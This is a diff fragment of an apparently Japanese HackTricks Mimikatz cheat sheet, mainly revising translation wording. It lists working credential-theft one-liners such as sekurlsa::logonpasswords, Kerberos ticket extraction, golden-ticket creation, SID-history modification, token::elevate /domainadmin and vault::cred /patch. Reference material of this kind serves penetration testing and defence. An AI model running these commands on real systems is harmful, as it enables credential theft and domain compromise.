||||
|
||||
- **SEKURLSA::LogonPasswords**: ログオン中のユーザーの資格情報を表示します。
|
||||
- **SEKURLSA::LogonPasswords**: ログイン中のユーザーの認証情報を表示します。
|
||||
- `mimikatz "sekurlsa::logonpasswords" exit`
|
||||
|
||||
- **SEKURLSA::Tickets**: メモリからKerberosチケットを抽出します。
|
||||
|
@ -178,7 +180,7 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
|
|||
|
||||
- **SID::add/modify**: SIDとSIDHistoryを変更します。
|
||||
- 追加: `mimikatz "sid::add /user:targetUser /sid:newSid" exit`
|
||||
- 修正: *元のコンテキストには修正のための特定のコマンドが提供されていません。*
|
||||
- 修正: *元の文脈では修正のための特定のコマンドは提供されていません。*
|
||||
|
||||
- **TOKEN::Elevate**: トークンを偽装します。
|
||||
- `mimikatz "token::elevate /domainadmin" exit`
|
||||
|
@ -188,10 +190,26 @@ mimikatz "kerberos::golden /domain:child.example.com /sid:S-1-5-21-123456789-123
|
|||
- **TS::MultiRDP**: 複数のRDPセッションを許可します。
|
||||
- `mimikatz "ts::multirdp" exit`
|
||||
|
||||
- **TS::Sessions**: TS/RDPセッションをリスト表示します。
|
||||
- *元のコンテキストにはTS::Sessionsのための特定のコマンドが提供されていません。*
|
||||
- **TS::Sessions**: TS/RDPセッションをリストします。
|
||||
- *元の文脈ではTS::Sessionsのための特定のコマンドは提供されていません。*
|
||||
|
||||
### Vault
|
||||
### ボールト
|
||||
|
||||
- Windows Vaultからパスワードを抽出します。
|
||||
- `mimikatz "vault::cred /patch" exit`
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue